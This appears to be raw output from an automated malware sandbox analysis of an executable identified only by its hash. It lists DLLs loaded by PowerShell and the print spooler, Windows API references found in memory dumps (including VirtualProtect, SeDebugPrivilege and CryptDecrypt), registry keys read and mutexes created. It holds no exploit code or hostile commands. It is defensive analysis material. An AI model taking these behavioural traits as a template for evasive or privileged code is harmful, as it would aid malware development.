%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\222c7d59009d4fddda32703e331011ba\Microsoft.Management.Infrastr (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\416015a614fb5f5c53cd9ccbf0e5e13f\System.Xml.ni.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\0fc458e2e89a1743b9bb2c58049a8f4f\System.Configuration.ni.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00004032) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00004032) "spoolsv.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00003452) "spoolsv.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00003452) "spoolsv.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003452) "spoolsv.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00003452) "spoolsv.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003452) "spoolsv.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003452) "spoolsv.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003452) "spoolsv.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003452) "spoolsv.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003452) "spoolsv.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003452) "spoolsv.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00000736) "spoolsv.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00000736) "spoolsv.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000736) "spoolsv.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00000736) "spoolsv.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000736) "spoolsv.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00000736) "spoolsv.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000736) "spoolsv.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000736) "spoolsv.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000736) "spoolsv.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000736)45:T4a7c,Found reference to API (Indicator: "GetProcAddress"; File: "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe") Found reference to API (Indicator: "ExitProcess"; File: "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe") Found reference to API (Indicator: "VirtualProtect"; File: "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "K32GetModuleFileNameExW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; File: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "GetCursorInfo"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "AddDllDirectory"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "GetCursorInfo"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "AddDllDirectory"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00004032.00000000.190188.03270000.00000004.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "K32GetModuleFileNameExW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "Process32NextW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "Process32FirstW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004032.00000001.191512.08DEC000.00000004.mdmp")46:Tbdf,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 21361-123-0051F06F "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 21361-170-005198C0 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 21361-170-005198C0 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 21361-170-005198C0 "SOFTWARE\Microsoft\PowerShell" in Source: 21361-189-00519E80 "SOFTWARE\Microsoft\PowerShell\3" in Source: 21361-207-0051DB93 "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00000736.00000000.190948.01A80000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00000736.00000000.190948.01A80000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002956.00000001.191399.01C00000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003452.00000000.190300.00990000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00003452.00000000.190300.00990000.00000004.mdmp 00000000-00003452.00000001.190332.00990000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00003452.00000000.190300.03C00000.00000004.mdmp 00000000-00003452.00000001.190332.03C00000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "e\Software\Cla" in Source: 00000000-00004032.00000000.190188.03270000.00000004.mdmp 00000000-00004032.00000001.191512.03294000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004032.00000000.190188.03270000.00000004.mdmp 00000000-00004032.00000001.191512.03294000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004032.00000001.191512.04D60000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00004032.00000001.191512.04D60000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004032.00000001.191512.07C82000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0000034E-0000-0000-C000-000000000046}" in Source: 00000000-00004032.00000001.191512.08CF0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004032.00000001.191512.08D39000.00000004.mdmp47:Taa1,Process 4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:9068:168:WilStaging_02" Process 4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe created mutex with name "Local\SM0:9068:168:WilStaging_02" Process 4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe created mutex with name "SM0:9068:168:WilStaging_02" Process 4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe created mutex with name "SM0:9068:64:WilError_03" 